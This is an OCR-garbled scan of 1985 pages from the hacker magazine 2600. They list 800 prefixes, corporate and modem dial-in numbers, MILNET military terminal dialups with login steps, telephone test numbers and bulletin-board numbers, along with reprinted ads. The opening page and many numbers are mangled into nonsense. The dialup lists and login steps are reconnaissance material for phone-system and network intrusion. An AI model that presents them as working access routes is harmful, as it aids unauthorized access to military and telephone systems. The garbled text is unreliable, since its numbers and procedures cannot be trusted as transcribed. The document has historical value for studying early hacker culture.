ol O AR SRR DR ISR A f.q__._n_a.._ry"_“ﬁv._w.”ﬂ..,...ul B 2PISIN0 UE SHEW _”_ © JAQUINU T....Ca.......
CHL) SN0 SR S ITAT SR o R A et DA sy g ol SLICHTE D0 B0l U008 E LABMSUE DN _n.x.__. =i
BB RO BRI S8 R O oW e SR :..a..;. SLOIED0| Py 5 LU SIL0LCEE)
dn Buey (|8 SoUSEjUOd puaol "} aoUAI{UOI BIDfaY  BI0jBq Bp0D BRE + [T] 0]
[§] [Ep—aoussuoo uolop  °g SOUBIIYUCD MBS aeq 00 O @) g
SUDIFEDO| JOYI0 ppe pUe B  'g ., 01 [F) =] ANUNUOD O] [{] 1]
|90UED O} [ 20 Ayed ppe o) [{] 1210 Bunaaw ay) Buung dn-jag ||ea Buung
> AN &
L POEG-PHG (08 | [BID 'BOURIBILOD ISR JO IO - . Loramsue Aued uaumg s2|NY [0I2UD9)
[0] [F] 120 ‘aouaiauon Buung . OoOoOo-ooo+o00+m
E [eip ‘dn-pes Buung « SN SucydaEi B B R UL uesdignug SRiedss B ysqesa
10 o] 2 Jaydeib oA s peimI0ssE a0y uonng

y e - - i - 1 g Y b
DWRBEEY lopradg io4 pesInoA BUIpnIDUFSLONEDN |0 IBquInu ssuy - g ysnd ay| asn Aduag yam se uawdinba Judelt [au

KITuEIU NOA S13) 80108 O00Z 30MYT 1 Ty—2IydelBoipny

[¥) [F] 1E'P "80URIHU0D PUS O - [Engdeity) o00E-95Y+00L+0 R0 40 uojnausnd
[B] [F] 1B1P Sou2iajuoa Bunng « Hoipoy) 000 L-9SY+00L+0 —aucadaa) jo adA) due e spdoad s [Bas 0] sucydagal
[B] IEP ‘dn-jas Buung - AS)Ia0mas IV IED 2 uonausnd B asn nod 518 aoas 0001 3TNV Ty —0lpny
uEpUaE Juay S| OISING UE 350 o) el
! i _ B pue LOLLILLIOD & U0 SUDNRO0| JALI0 85 0) dn [auund o] sem om)
_ o . . [#] : nod awb sa0aas DLIDUBILOING] JONYTTTY BOuIBLE
E E [BIp '20URIUOD Buungy - _ﬂ._ B LA SUOydaa) uoynagusnd 2 850 .« NSSI0ING pUE
E [ '‘dn-las m.m__.._:m.__“_ ' SISCLUNL U_.._U_l__.l_.n.m.n.w“ SRS O B aAEY - anl _..__.r_“._._“.._..“_ ShuasL Jnod OELL _...__”,..-r_ 0l ..._“.”___.r__...r.”_ _|__,..=_UU—_....__
|D1JUDD JDJSURLL NOA SANS 3EN 7L §a0IARS BUDUSISUCIRE] JINYITTY 8Y1 85N PUE 'SINJEDY

d [Enads pue sanpaood Buneiado [eisush 10y IS0
524 ..nﬂ.w_.-m -—_mﬂw L U On-ras jj0D wnh 2 se Apuey Spiney siyp daasy apenb jawood syp i sdass
. Y 3,

s Uaaas L) A0 1SN B0USaUIDISS] Jnos Jdn 35 0]

MAY 1985

E

1=
=

MECK AND BAlK BENT —

SLH,

s2ouuas bubuaiayuodalal IONUIMY

N AND DOCUMENT

1 8 e
mmm mmm ALLUNCE* TELECORFERENCING SENVICE ERAL A
[ =
855 4:3 25 4 Lian Be |
.r.Hﬂ_ ....H.m Hﬂl.. .._.. .. "ﬁ
go o4 = 5 ; ElieE *Cosre Wl
To¥E ans > + £ 53 gfd B2
WSUW twm L % mmm mﬂmm.m i M ..1!...__!_:_.#1
ur“ [=% o =] rl t = & .nn.. BE
- R T T T il el D
e d RO W 2 Saveay
(e cC £ o 23 - 4 ﬁﬂiﬁﬁa
>LC O 13
WawoOo - 28 2 O+ 1000+ 488 7000
e s ._1..___ . m m, mm 12 1 . bt e,
L U 0o~ mm m, W Lacetimas | ]
=L E—~ WU - - _w..m L Ol Tl M
=" = L E mm _a ...rﬂ._.!i_
um O Qd ] = F i i
M CLwLLC 1= sy p o ] bt o e
TIHLC 0 : {4 B o can
= 2 a a ) % Dol
s ] z L@ m i el M4 ey
g22s L« QWOC 3 i et
WH_....._M e e e [T z3 .u.a .w“. K Jo Jola. Dl (o
: EEE e o : iz 41 =
i fakd Gtnunla AR b
& oigh N - - m_i. i1 -
= £539% MmC W0 Wm D 2 J g8 i M=
I JuI+~+ 30 : i 355 2 I



SOME CORFPORATE SECRETS:

1-800
227-3414 241-6025
243=7650 321-0845
S21-0845 207222
3257222 S27-9136
327-9136 327-98B95
Z43-1319 -353—-1385
343-1711 343-1844
34:-1844 2435-88353
221-8400 S23-0847
227-3311 S27-3511
o27-3335 243~-7148
—47-6754 &21-1506
604-8491 &54-8494
&BZ2-4000 843-05698
858-9000
SURFPRISE 2059870785
CNN B0O0O5545924
CNN DATA BO0O5545925
CNN NEWSROOM BOOS5S545926

MUSAK-NDON-SUFED 512474093546

BBLZ AUDIO

vD INFO

TOURIST INFOD

0114112458024
0114112458072
0114112468041

IN FRENCH 3

IN

DIAL-A=-FLANET

SURPRISE

GERMAN =
01141124568B055
0114112468015

CB5-REMOTE FEED 2125804481
US-DIAL TONE IN UK (FPOSSIBLY

NON-SUFED)

011444612468B011

The No We're Not Kidding Dept.
Yes, this is a real ad!

COLLECT ONLY SERVICE

(INMATE SERVICE)

E=

Contact your Michigan Bell Inmate Communica-
tions Specialist for information regarding new
service, changes or additions.

CALL TOLL FREE:
1800 482-0666

THE COST EFFICIENT SYSTEM
for areas serviced by Michigan Bell.

@ Michigan Bell
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THIS IS A LIST OF 800 PREFIXES
IN OHDER BY STATE

ALABAMA. .......¢ccou.. B33 205 MISSOURI..... n0c00-- BZ21 a8l6
ALASKA. .......cc.. .. 044 907 325 417
ARIZONA. . . e v v e vencnas 528 602 641 314
ARKANSAS. . . v v e v enne s 643 501 MONTANA. .... P - 1 ¥ 406
CALIFORNTIA. ..........227 415 NEDRASKA. .. :cises00rs 228 402
421 213 445 308
423 213 NEVADA. ..... T T o 702
#5654 714 648 T02
824 916 NEW HAMPSHIRE........258 603
538 408 NEW JERSEY........... 257 609
235 805 NEW MEXICO......ccvves 545 505
244 209 NEW YORK. ......c00--- 223 gIE
358 707) 847 607
COLORADO. . ...ccovvuue 525 303 221 212
255 303 431 914
CONNECTICUT.......... 243 203 228 716
DELAWARE. ............ 302 645 516
DISTRICT OF COLUMBIA. %Eg %ﬂ 448 315
0 833 (518
FLORIDA.............. 327 305 NORTH CAROLINA....... 334 919
237 813 434 704
274 a04 NORTH DAKOTA......... 437 T01
GEORGIA. .......c..a. .841 912 ] B I PR St R 321 216
2491 404 543 513
554 404 537 419
HAWAILIL.......... . 367 808 848 614
IBAHD ................ EE-J Eua {}EL&W ------- RN 554 4[]5
TLLINOIS. . s s s caanans .B21 312 331 al8
323 312 OREGON. . ¢ o s convsness T 503
637 217 PENNSYLVANIA. . .. .- 523 215
435 BlH 345 215
447 309 458 814
851 18 245 412
INDIANA. . ..o ccansansa 457 Bl12 233 T17
348 219 PUERTO RICO.......... 468 B0O9
TOMR oo aies e 553 319 RHODE ISLAND.........050 401
247 515 SOUTH CAROLINA....... B45 803
831 T12 SOUTH DAKOTA.........B843 605
EANSAS. ... .cccicsissa B35 316 TENNESSEE. . .... cassassnl 615
255 913 238 901
EENTUCKY. .. covveuvecs 626 502 IR EAS i wni o o v 527 214
354 606 433 817
LOUISIANA............535 504 531 512
551 318 231 T13
MRATNE; i iivs vt .341 207 a51 713
MARYLAND. .......... .. 368 301 858 H06
MASSACHUSETTS........ 343 617 IUEAE. . ol s aa .. 353 BO1
225 617 VERMONT....... SR L - 8202
628 413 VIRGINTIA........-.... 446 8504

MICHIGAN. . .. . v v cvcssa 253 616 368
a2l 313 336 T03
338 906 VIRGIN ISLANDS.......524 809
517 248 WASHINGTON. .. .« v e v unn 426 206
MINNESOTA. .. ..vocueus 328 BlZ 541 509
533 507 WEST VIRGINIA........ 624 304
346 218 WISCONSIN. ..... R 11 608
MISSISSIPPI......... . Ba7 601 558 414

WYOMING. ......c000....943 307

The list above was posted on The Private Sector by AXY MURDERER.
It should be noted that with modern methods of phone routing and
billing this list cannot be depended on as complete and accurate.
These exchanges are now only generally found in the areas or area
codes listed, because with the newer technology there are
relatively few restrictions as to the actual phone number
assignments for toll free service. In some of these exchanges it
is possible to dial the exchange and then "0000", and the
location will be read off by some recorded clown somewhere.

SOME CORFORATE
MODEMS

S00S24683714
S800343FZ099%9
B0034351 580
S800821 1200
S003=254 1549
S00=443=5S884%
SO0=21 1570
SO03=FT211464946
ARFANET DIALUFRS S003I2S56 397

41 SIE275220
S0O1948=5850
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MILNET TAC DIALUPS SORTED BY LOCATION 22-JAN-83

State/Country 300 Baud 1200 Baud 1200 Type State/Country 300 Baud __1200 Baud i!?ﬂ Type
ALABAMA FLORIDA
Anniston Aray Depot Eglin AFE
[AMNIS-NIL-TAC) = (205) 235-52B5 (R4) (205) 235-7650 BV (HFSC-AD-TAC) Egg:; ggg-%g:g
tPlease note: When accessing the Anniston TAC you must {904) 882-p202 {904) BB2-8202 B/Y
first enter a (RETURN}, then enter DDN <RETURN). After (904) 882-8201 {904) B882-8201 V

you receive CLASS DON START, proceed as normal,
Naval Air Station - Jacksonville

Bunter AFS {JAX1-MIL-TAC} [none knownl
(GUNTER-TAC) (205) 279-3574
(205) 279-4482 GEORGIA
Robins AFB
fedstone Arsenal [ROEINS-TAC) (912) 924-2725
(NICOM-TAC) Inone knownl (912) 926-2728
(%12} 926-3231
ARTZONA (912) 926-3232
Ft. Huachuca 1912) 926-2204 (912) 926-2204 B/
{HUAC-NIL=-TAC) [none knownl HARAT]
Canp H.H. Smith
Yusa (HAWATIZ-TAC) (808) 488-4227
[YUNA-TALC) [none knownl {80B) 477-6944
{808) 477-5B39
CALIFORMIA (NORTHERN) {80B) 477-5843
Menlo Park {808) 477-5B44
[SRI-MIL-TAC) [415) 327-5440 (R3) (415) 327-3440 (R}) B (B0OB) 477-5815
(B08) 4B7-7787
{USGS3-TAL) [no dialups)
ILLINDIS
Moftett Field . Scott AFB
{ANES-TAC] [no dialups; contact liaison for access) {SCOTT-TAC) [none known]
Montere (SCOTTZ-NIL-TAC) (none knownl
{NPS-TAL) [none knownl
KANSAS
CALIFORNIA (SOUTHERN) Ft. Leavenworth
Edwards AFB {LYN-MIL-TAC) [none knownl
(EDWARD-MIL-TAC) [none knownl
LOUISIANA _
El Segundo Navy Regional Data Automation Center
[AFSC-SD-TAC) {213) &43-26%0 (R9)  (213) 643-2890 (RY) B iHUHL-H L-TAC) [none knownl
tPlease note this temporary procedure for accessing this TAC MARYLAND
once you have dialed the nusber above: Aberdeen Proving Ground

(BRL-TAC) (301) 278-6%156 (R4}  {301) 278-6%16 (R4) B/V
- Hit CTRL-B to get the attention of the TAC
- T;pe *ROTAC <CR>" to the “enter host" prospt

Bethesda
- When you see *open...” hit CTRL-@ again, and you will (DAVID-TAC) (202} 227-31526 (R1&) (202) 227-3526 (Rib) B/V
sep tﬁe TAC herald _
Patuxent River
China Lake {PRX-RY-TAD) {301) BL3-4B15 {301) B&3-4B15 BV
{NHC-TAC) {none knownl {301) BLI-4B16 {301) Bel-4815 By
San Dja?u MASSACHUSETTS
{ACCAT-TAC) (419} 225-1641 (R4) (619) 225-8903 V Hanscom AFP
{619) 225-694& (R3) (AFGL-TAC) {617) B&1-5591 (RB)  (617) BA1-3391 (RB) B
(619) 223-2148 V
(619) 225-7884 (R2) EalhridEe :
(BEN-NIL-TALC) [none knownl
Santa Monica
(RANDZ-MIL-TAC) [none knownl MICHIGAN
u.5. ﬁrn; Tank Autpaotive Command (TACOM) - Warren
COLORADD (TACOM-TAC) [none known)
Denver Fed Ctr
{USES2=-TAC) {303) 232-0206 {303 232-0208 B/Y H%?EUEHII
. Louis
0.C. . {STLA=TAC) [none knownl
Washington
[Andrews AFE] NEBRASKA
(AFSC-HO-TAC) (301) 9&7-7930 (R16) (301) 9&7-7930 (R1&) B Offutt AFB

(SAC1-MIL-TAC) (402) 292-7050 (RS)
{SACZ-MIL-TAC) [none knownl

[PENTAGON-TAC) (202) 553-0229 (R14) (202) 533-0229 (R1&) B



MILNET TAC DIALUPS (Centinued)

3Eiteituuntr? 300 Baud 1200 Baud 1200 Type Stlttiﬂuuntry 300 Baud 1200 Baud 1200 Type
HEH JERSEY Arlington

OvEer [ARPAI-NIL-TAC)  [none knownl

(ARDC-TALC) (201) 724-6731 (201} 724-4731 By

(201) 724-6732 1201) 724-4732 BIY {ARPA2-MIL-TAC)  [none knownl
{201) 724-6733 {201) 724-4733 B/Y

(2010 724-5734 (201} 724-b734 B/ Dahlgren

Fort Monaguth (NSHL-TAL) [no dialups; contact liaison for access]

(CORADCOM-TAC)  [no dialups) NcLean
(DDON-FNO-NIL-TAC) [none known)

{CORADCOMZ-TAC)  (201) S44-4254 (R3) :201] S44-2430 B
201) 544-2618 B {NITRE-TAC) (703) 442-8020 {R15)
[Iﬂli S44-2638 B (703) 893-0330 (R10) (703} BY3-0330 (RO} BV
(201) S44-2777 B
Norfolk
\EW MEXICD (NORFOLK-MILTAC) (B04) 423-0241 (R2) (BO4) 423-0241 (R2) B
thuqu!rayi (B04) 423-0247 (R2) (B04) 423-0247 (R2) B
(AFWL=-TALC) [none knownl (B04) 423-0346 (R4) (BO4) 423-0346 (R4) B
2 (BO4) 423-0480 {804) 423-0480 B
thite Sands (BO4) 423-04B4 (R2) (BO4) 423-04B8L (R2) B
{NSMR-TAL) (505) &78-33%6 (FTS) 898 (B04) 423-0489 (g04) 423-0489 B
(B04) 423-0370 (g04) 423-0570 B
1Please note, when accessing the White Sands Missile Range (B04) 423-0572 (R2) 1(BO4) 423-0572 (R2) B
host computer through one of these TAL phone nuabers you (B04) 423-0577 (R2) (BO4) 423-0577 (R2) B
aust first go through the following steps before opening (B04) 423-0451 (B04) 423-0631 B
the connection: (B04) 423-0854 (RI) (BO4) 423-0654 (R3) B
ENTER CLASS ddnetd <CR> 60 {CR> (804) 423-0841 (R2) (BO4) 423-0B41 (R2) B
(BO4) 423-0845 (B04) 423-0B45 B
{505) &78-3701 (FTE) 898 (B04) 423-0849 (B04) 423-0B49 B
(505) &78-b431 (FTS) B98B (B04) 423-0858 (B04) 423-0856 B
{305) &678-1438 (FTS) 898 (B04) 423-0930 (B04) 423-0550 B
(503) &7e-1334 (FTS) @98 (B04) 423-0952 (B04) 423-0952 B
(B04) 423-0935 (R3) (BO4) 423-0955 (R3) B
NEW YORK (B04) 423-0959 (B04) 423-0959 B
Eriffiss AFB
{RADC-TAC) (315) 339-4913 (RS) Reston
(315) 337-2004 (315) 337-2004 B/Y {DCEC-TAC) [none knownl
{3150 337-2005 {315) 337-2005 B/Y
(DCEC-MIL-TAC) (703) 437-2892 (RS) (703) 437-2928 B
(313) 330-2294 (315) 330-22%4 (FTS) 952 B/ ‘;E%i :g;fgggﬁ (703) 437-2929 B
{ s -]
(315) 330-I587 (315) 330-35B7 (FTS) 952 B/V (703) 437-2927
NORTH CARDLINA
Ft. Brlﬂi GERMANY
(BRABE-MIL-TAC)  [none known) (FRANKFURT-NIL-TAC)
oHI0 (N) 2311-5&41 (RB) B
Wright-Patterson AFB KOREA
(WPRFB-TAC) {513) 258-4218 {KOREA-TRLC) (M) 264-4931 (RB) B
{513) 258-421%
{313) 258-4987
{313) 238-4988
{313 238-498% Notes:
(313} 2358-49%0
1, "(R10)" following phone nuaber indicates a rotary with
OKLAHOMA : 10 lines.
Tinker AFB
{TINKER-MIL-TAC) [none known) 2, For alternate phone nusbers, FTS=Federal Telephone Systea,
PENNSYLVANIA 3. (Hl=Military DoD Telephone Systes.
New Cusber]and nrnE Depot
{NCAD-MIL-TAC) none known) 4, "1200 Type" refers to the modem compatibility for
1200 baud only:
(NCAD2-MIL-TAC) [none known] B/V = Bell and Vadic
B = Bell 2124 onl
TEXAS ¥ = Vadic 3400 only
Brooks AFB
(BROOKS-AFB-TAC) (512} 336-3081 (R&) (512) 536-30B1 (R&) BJV 5. Tglgﬂiiﬁ}ﬂii contained in the file NETINFD:TAC-PHONES.LIST
d ;31 [}
UTHH
ﬂ Proving Ground b, This list was obtained #or 2600 courtesy of The Private
DUEWAY-NIL-TRC) C[none knownl SECTOR BES: (201) Jbb-4431.
VIRGINIA !
Alexandria
(DARCOM-TAL) (202) 274-5300 (2021 274-3300

E
(202) 274=5320 (RE) (202) 274-5320 (RE) B
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THE NEW AT&T HOSTAGEPHONE SYSTEM

FEATURES
THE HOSTAGEPHONE TELEPHONE

- Is housed in a high impact plastic case. Recewver
and transmitter caps have been glued on and
modular cords modified so thal they cannot be
readily detached

- Unit contains Sonalert

- Battery Powered
o

-Network Patch Cord & Phane
- Recording Jacks

- Remote Loudspeaker w/25° Cord

The AT&T Hostagephone System
accommodates a full range of
situations requiring emergency
communications between law
enforcement agencies and persons
involved in a critical or criminal act,

BENEFITS

- The Hoslagephone Telephone 1s designed to be tamper-
resistant.

- Unit can be signaled from control unit.

THE HOSTAGEPHONE CONTROL UNIT

- 24 hour operation with battenes or can be powered from
110V AC which will automatically recharge the batltery
packs.

- Provides accessibility to the outside network

- Enables tape recording of entire situation.

- Allgws monitoring and intercom remaote from negotiator

THE HOSTAGEPHONE CABLE REEL

- 1200 Ft. of 2 Pair Cable

The AT&T Hostagephone is a s8!f contained. state of
the art system developed to provide effeclive
communication under adverse field conditions. The
AT&T Hostagephone System 15 an economical add:-
tion to any emergency response team

2600 Reader: Please accept our assurance that this is
for real. Call it a true sign of the times. Only $1850!

- Provides safety of distance for the negotation team,

For Further Information Contact Our
Hostagephone Representative

On 1-800-228-9811

Or 402-593-1200



TEST NUMBERS BY THE SHADON - not gquaranteed, of course.

011-44-61-245B011 ¢+ US dial tone then "When this

201-226-070%
201-267-9922
201-267-%966
201-232-9924

201-232-993%
201-233-9%72
201-233-5974
201-241-9916
201-328-9971

H
i

201-376-9907

201 -464-9915
201-464-9714
201-464-9953
201-404-9774
201-5343-9%02

201-543-9903
201-543-9904

201-633-9900

201-769-0203 :
203-771-4520 :

207-Bbb-1411
212-233-9%80

212-369-7003
212-799-3017
213-621-414]
213-935-1111

213-489-0036

215-489-0040

215-485-0042 :

213-489-0043

215-489-0044 :

215-489-0045

213-489-0074
215-489-0075
215-489-0078

systes changes, this is the new dial
tone you hear" (UK is changing
dialtone)

alternating tones, then "warble"

sweep tone

400 ocha termination

{tone 1,2,5-beep, bleep; %,4- 1200 baud
static, beep, bleep; &-tone, higher
tone, bleep!

tone 11 sec. silence, repeats...
seltitude of clicks

busy 15 sec. then tone w/ clicks
hissing with clicks

1000 hrtz tone

*is being checked for trouble, Please
try again later"

low tone 15 sec, silence

low tone 2 sec, silence

buzz

busy 13 sec, low tone

*If you'd like to make a call, hang up
and try it again.®

"We're sorry, your call did not go
through, *

“the nuaber you have dialed requires a
.20 cents deposit.”

"cannot be cospleted as dialed from the
phone you are using”

People's Express Reservation systes
telephone company eaployee newsline
1000 hrtz tone

{tone 1,2,3,8-tone, higher tone, bloop;
S-tone, bloop; 9,8~ static,beep,bloop)
*vou have reached 212-36%-7003 in zone
7

ABC New York feed line

telephone esployee newsline

sweep tone with echo at top of range
{7

tone, bloop (1,2,5-tone bloop,
3,6,9-tone,higher tone,tone)

*please check your instruction sanual
or call repair service for assistance®
*if you like to make a call please hang
up and try again®

*We're sorry, your call did not go
through. *

"The call you have sade requires 2 25
cent deposit”

"You sust first diazl 2 | when dialing
this nuaber."

LOUD tone, stops, repeats

400 ohm teraination (silencel

tone, silence

215-48%-0080
213-489-0097

215-489-0104
214-861-8300
301-256-9987
S01-546-77T1

301-725-9%904
305-263-0000

J05-994-%943
J05-9%4-9964

J2-222-9948
J12-222-9954
312-222-9990
112-222-99%
312-368-8000
312-382-0000
313-223-T323

313-333-9%81
313-333-9%989

313-333-9990

313-333-9994

313-333-9%93
313-333-99%4
313-430-4300
J13-498-9998
J14-247-5511

J15-471-9934
408-235-0081

§0B-294-6947 :

408-393-1110

408-738-8190

408-145-6060 !

408-794-0044 :

412-633-3313
§14-628-0001
414-528-0002

L]
L]
L]
r
H

W
L

N
L]

H

H

Ll
L}

%
L]

L]
*
-
¥
L

NOVEMBER 1985

600 cha teraination

tone, {lower pitched than -0078)
silence {also at -0098)

1000 hrtz tone

tone, then higher tone

1000 hert:

"Due to Telephone Company facility
trouble your call cannot be cospleted
it this tise"

*deposit . 20"

repeating bloop {keypress 2 : siow
reorder w/ bloops, clicks)

piy fone instructions

"telephone you are calling from is not
in service"

tone (keypress 1,2,3,6,7,1-tone,high
tone,bleep, 4-tone,bloop,

9, 4-static,beep,bloop)

"Test Center®

clicks, ticking like

LOUD tone, repeats

111inpis Bell Comsunicator (eaployee
news] ine)

tone (keypress 2222, then other digits,
at re-order type ! to restart) (?)
telephone eaployee newslineg

LOUD tone, silence

high tone {enter touchtones for a
while, eventually get "metallic® echo,
then S-high pitched tons, randos
re-orders)

beep, click repeats, with *winks®
tone bloop (keypress in 2-tone,bloop,
3-tone,higher tone,tone,
9-static,beep,bloop)

400 cha teraination (silence)

wierd siren/sweep tone, multi-frequency
beep, beep, beep, then reorder

sweep tone

Southwestern Bell Telenews (esployee
newsline)

‘deposit 5 cents for next five minutes®
{any two 2,4,B,0-tone)

beep, click, computer voice repeats
nusber

(tone 2-bleep,glitch; J-beep,higher
beep: #then nusber-loud tone, bleep)
{tone !,3,6,7,8-tone, high

tone, tone: 2-beep, cluck; 9,4~
static,tone,beep)

high pitched tone, lom tone then
repeats

tone end of loop

telephone company esployee newsline
continuous tone

continuous tone (higher pitched, sounds
like suted dial)



414-628-0004 1
414-628-000¢6

414-628-0010 1
414-628-0011 :
414-528-0013 :

414-528-0014 :

414-528-0013 1
414-628-0028 :

414-578-3311 1
414-781-0004 :

415-204-1111
415-327-0045 :
415-188-0037 :

415-472-004b 1
415-345-8800 :
415-467-0097 :
4135-1771-0020 ;
415-777-0037

415-717-0046 1
415-777-0103 ¢

415-826-0022 :
A15-994-0710
S12-472-2181 :

S512-472-4263 @
312-472-9833 :

S12-472-9934 :

512-472-5941 :
316-222-3825 1
316-234-9914 :
S16-731-997% 1
518-471-2272 3
S18-789-3299
b09-267-9966 :
&09-267-9947 :
b09-267-9948
60%-267-9971 :
609-267-9%71 :

09-B77-9924

high pitched tone, bloop, silence
brief very high tone (also -0007
(sultiple keypresses of 2,5,8,0 tone
repeats)

loud tone, stops, repeats...

loud tone, stops

500 ohs tersination (silence) (ilso
0017, two in an sxchange?)
continous tone (sounds like wierd
dial), evenutally stops

LOUD tone, repeats

"Your call cannot be completed as
dialed

Wisconsin Bell Newsline

high tone, silence (keypress
2,5-beep,bleep, 3,b-beep,longbesp,
bloop, 9-static,bloop)

one sweep, then silence

sueep tone

tone,bloop (keypress 2-tone,bloop,
3-tone,high tone,tone,
9-static,beep,bloop]

sweep w/ glitch at top

Pacific Bell Newsline

fast DTNF tones, keypress to repeat
1000 hrtz tone

tone, bloop (keypress 2-beep,bloop,
3,b-tone,higher tone,
9-static,beep,bicop)

sweep tone with echo

tone,bloop (keypress 2-beep,bleep,
I, b-tone, higher tone,tone,
9-static,beep,bloop

tone, click, tone (sounds like a busy)
aultitude of clicks

*if you would like to make a call,
please hang up and try again*
garbled recording (?)

*you sust first dial a | or O before
calling this nusber®

“please check your instructions or call
your business office for assistance®
"insert 25 cents®

LOUD tone

New York Telephone Newsline

sweep tone

New York Telephone Newsline

weird busy, sultitude of clicks

busy with clicks in background

&00 oha termination isilence)

1000 hrtz tone

LOUD tone, stops, repeits

rings with clicks in background falso
=897 and -9%14)

high tone (tome in 1,2,3-tone, bloop;
3,6,0-tone, higher tone, bleep;
§-static, beep, bleep)

509-877-9929 :
517-553-9933 :
417-690=9900 1
b17-955-1111
419-748-0002 :

519-748-0003 :

702-789-6711 2
713-354-0000 :

T13-482-3199 @

113-632-5111 1

717-255-53555 &
71B-429-9900 :

B00-221-5%59
BOO-228-BAbb »

BOO-321-3048 :
800-321-3052
800-J21-6364 &

800-323-6321
BOO-327-0000 :

B0O-J44-4001 :
BOO-324-0000 :
BOO-554-3924 @
B00-824-8274 :
802-955-1111 3
B08-533-4425 :
B16-391-1122 ¢
F07-26%-0955 :
714-232-9901 1

F14-268-9901 :
714-268-9903 :

914-268-9%60 :

914-159-9%901 :

914-359-9940 :
914-523-9958 !

915-480-8000 :

1000 hrz tone

tone end of loop

sweep tone

telephone cospany eaployee newsline
tone increases in pitch, silence,
repeats in aonotone

sweep, repeat, hangs up

Nevada Bell Newsline

touch tone in 4, then new &, then § -
listed, ¥ - unlisted)

“Ne’re sorry, all circuit are busy
now,.*

touch tones echo back "setalic”,
sosething about "drivers licence
nusber® replys in a fesale recorded
voice

Bell of Pennsylvania "Inside Line"
{esployee newsline)

"Please slide a valid credit card
through the slot now"

tone (¥ makes it ring)

Sensaphone {ta) demo (time etc, (EST)
(wait 7+ rings))

non-connecting loop with 800-321-3049
loop (dont know where other end is)
Centagran’s Voice Meso Systea
(extension 100 for deac)

tone, stops, bloop repeats
"Announcesent three, Dallas" (cthanges
sosetimes)

non-connecting loop with 800-344-4002
"Announcesent | Atlanta"

Cable Mews Network audio feed

"Enter your password service code"
telephone company newsline

Hawaiian Telephone Newsline

recorder (keypress i-toggle on/off,
3-rewind, 4-stop, T-play!

tone (sounds like extender, doesn't
take touch tone (7))

"Daytona, Mew York DNS-100
verification®

“Congers DMS 100 Verification"

"your call cannot be cospleted as
dialed®

(keypress 2-high tone, J-high, higher
tone, &,0-click, 7- hangs up, sosetimes
0,4, t-haraony)

repeats the nusber dialed
(*914-359-9901")

wierd tone, stops, clicks, repeats
(keypress 21,5-beep qlitch, 3,b-tone
highertane)

Pacific Bell Newsline
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HEREIS AN EXTENSIVE LISTOF OVER 1500 BULLETIN BOARD NUMBERS. IF YOU HAVESOMETOADDOR FINDSOME
OF THESETHATDONTWORK, TELL US! WRITETO 2600 INFORMATION BUREAU, BOX 99, MIDDLEISLAND, NY 11953,

PLEASE TRY TO INCLUDE BBS NAME, SUBJECT MATTER, BAUD RATE(S), FEES. OR OPERATING HOURS.
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512-837-2003
512-852-5145
5128578565
S12-EB4A-5115
S13-256-12207
512-435-5201
5134890149
$13-579-2587
5136218273
$13-671-2753
S13-T52-8248
S13E740226
S13-874-0600
S14-481-6329
S14-487-2792
514-622-1274
£15-233-5254
£15-683-5220
$15-753-0607
516-226-0619
516-234-092%
$16-219-8153
$16-271-3082
S16-277-1285
S16-286-2352
516-2R6~4823
516-292-0320
516-293-0499
516-293-0791
516-293-8251
516-326-2907
516-328-1052
516-125-6460
516-331-3718
516-3134-2668
S16-3M-1134
Sl6=-33-83561
516-348-1671
S16-348-35T2
S16-348-3611
516-348-74%2
516=351-1754
S516-35]1-4917
S516-351-E75%
516=-361-6744
516-361-7323
516-354-E544
S16-365-5168
S16-365-8189
L16-367-8172
S16-367-8619
516-374-5071
L16-379-8552
$16-3859310
51 6-420-0844
516-422-5691
S16-431-3171
516-432-1458
516-433-2602
516-433-7507
516-454-6959
S16-454-To98
516-4629552
516-467-1387
516-473-1005
516-473-5418
516-473-8566
516-475-6463
516-452-5491
5] G-4R4-6844
5 1 o= EL-50608
S16-4E7-2848
5164910877
S16-49]1-542%
S lo-405-2554
5| G- 577
S16-406-472 1]
5164054715
516-536-2089
516-53-TT56
516-54 | -70409
§16-543-1621
516-549-0D688
S16-561-6590
S16-567-8267
S 16-569-0589
S 16-574-2008
516-575-5838
S16-579-5178
5 16-579-0664
$16-579-9738
S 16-58 | -R696
S16-585-9829

516-586-3682
516-586-9265
516-589-6175
S16-621-0041
S16-621-0985
S16-62]-X028
S16-623-5004
516-626-699)
516-643-4%3
S16-661-2913
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5 1 6-665-4034
516667 -5 566
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S16-6T1-6195
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516-654-5509
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5|6=-T54-2224
516-T66-5907
S16-TT1-1B4T
516-T75-7312
516-775-9970
516-781-2050
S16-TEA-559]
516-TR 6862
516-TEX-60]2
516-TEX-T29
516-TEO-ET94
516-701-3745
516-794-1707
516-195-3465
516-M5-6510
516-M5-8418
516-T06-3285
516-822-5113
516-825-2753
S16-R29-4251
516-877-1184
516-RTH-ERRS
5169218719
516-922-6492
5169248115
5160283687
516929-3752
51603 ] -7
5169336976
516-935-3613
S 16-935-6051
S16-044-31 16
S16044-5262
51694465
51603446712
5169790050
51608 1 0369
516-997-T002
H17-339-3357
S18-346-3500
S18-370-2341
S18-193-2467
G01-264-2361
GO2-246-1412
GO2-247-6014
G02-27 554
S2-327-55T17
G02-574-0327
602-726-7513
B02-742-5187
H02-B249-4321
GO2-E00-0972
60297 -4 50K
G02-952-1 382
H02-952-M) |8
G02-052.2 146
GH02056-502 |
HO205T 4478
6029910144
G033 -436-3461
GO3-REE 4408
HO3-924-T9M)
GO3-924-G8 M)

6id-382-2024
6D4-384-4711
-4 30-4 145
504-437-7001
G4 38- 2468
G -462-8633
G04-5529515
H604-T38- 1640
G003 700086
G- 1004 |
G05-136-3935
G05-624-0400
GG-2T3-B614
GG-2TE-1957
6O7-107-64 16
GOB-233-1111
608 -213-8440
608 2565088
6082623469
608 - 26249349
G0E-262-4939
B0R-273-5037
GOR-325-4910
flie-228-1 149
G099 - 2080597
B -4 296630
6094455244
G0 -A458.5293
G -153-E26H8
(9 -B96-2436
612-333-5047
612-423-5016
612-472-2218
612-623-1156
61 2-724-T066
612-753-3082
61 28549651
61 2-929-6699
& 29205065
6l 3-5920240
613-725-2243
61 3-8 204648
61 3-8 203650
514-272-2227
6 ) -4 465886
6144759791
614-532-690)
6146875413
&14-764-6744
G14-837-3269
615-297-6037
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ADS

We had a brief period of experimentation with advertising in our carly years. Many young publications fall under
the influence of this powerful addiction, but we were able to eventually break free of its evil clutches. Actually, it
wasn't so bad, but it didn't really ht in with what we were trying to do, However, we felt it best to acknowledge
this piece of our history by reproducing those ads here, as well as our own house ads, which continue to this day.
Just remember that nothing offered here still applies. But you knew that.



Are You Reading Someone Else's Copy of 2600?
WHY NOT SUBSCRIBE?

